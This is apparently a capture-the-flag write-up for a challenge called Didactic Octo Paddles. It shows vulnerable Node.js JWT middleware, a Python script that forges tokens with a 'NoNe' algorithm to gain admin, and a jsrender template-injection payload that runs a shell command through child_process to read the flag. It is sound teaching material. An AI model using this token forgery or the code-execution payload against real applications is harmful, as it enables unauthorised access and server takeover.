Didactic Octo Paddles¶
Admin Access¶
Initial foothold was through JWT:
const AdminMiddleware = async (req, res, next) => {
try {
const sessionCookie = req.cookies.session;
if (!sessionCookie) {
return res.redirect("/login");
}
const decoded = jwt.decode(sessionCookie, { complete: true });
if (decoded.header.alg == 'none') {
return res.redirect("/login");
} else if (decoded.header.alg == "HS256") {
const user = jwt.verify(sessionCookie, tokenKey, {
algorithms: [decoded.header.alg],
});
if (
!(await db.Users.findOne({
where: { id: user.id, username: "admin" },
}))
) {
return res.status(403).send("You are not an admin");
}
} else {
const user = jwt.verify(sessionCookie, null, {
algorithms: [decoded.header.alg],
});
if (
!(await db.Users.findOne({
where: { id: user.id, username: "admin" },
}))
) {
return res
.status(403)
.send({ message: "You are not an admin" });
}
}
} catch (err) {
return res.redirect("/login");
}
next();
};
My Python code to modify a token:
import sys
import time
import json
import base64
def dict_from_part(part):
return json.loads(base64.b64decode(part.encode()).decode())
def part_from_dict(part):
return base64.b64encode(json.dumps(part).encode()).decode().rstrip("=")
enc_head, enc_body, sig = sys.argv[1].split(".")
head = dict_from_part(enc_head)
body = dict_from_part(enc_body)
head["alg"] = "NoNe"
body["id"] = 1
# Set the expiration to longer
new_exp = int(time.time()) + 60 * 60 * 24 * 5
body["exp"] = new_exp
new_head = part_from_dict(head)
new_body = part_from_dict(body)
print(f"{new_head}.{new_body}.")
RCE¶
I then used SSTI to get RCE and cat the flag. Here is the vulnerable code:
router.get("/admin", AdminMiddleware, async (req, res) => {
try {
const users = await db.Users.findAll();
const usernames = users.map((user) => user.username);
res.render("admin", {
users: jsrender.templates(`${usernames}`).render(),
});
} catch (error) {
console.error(error);
res.status(500).send("Something went wrong!");
}
});
Here is the payload I used:
{
"username":"{{: \"test\".toString.constructor.call({},\"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()\")()}}",
"password":"a"
}
I had to use the global.process.mainModule.constructor
to load child_process
and then used that to read the flag.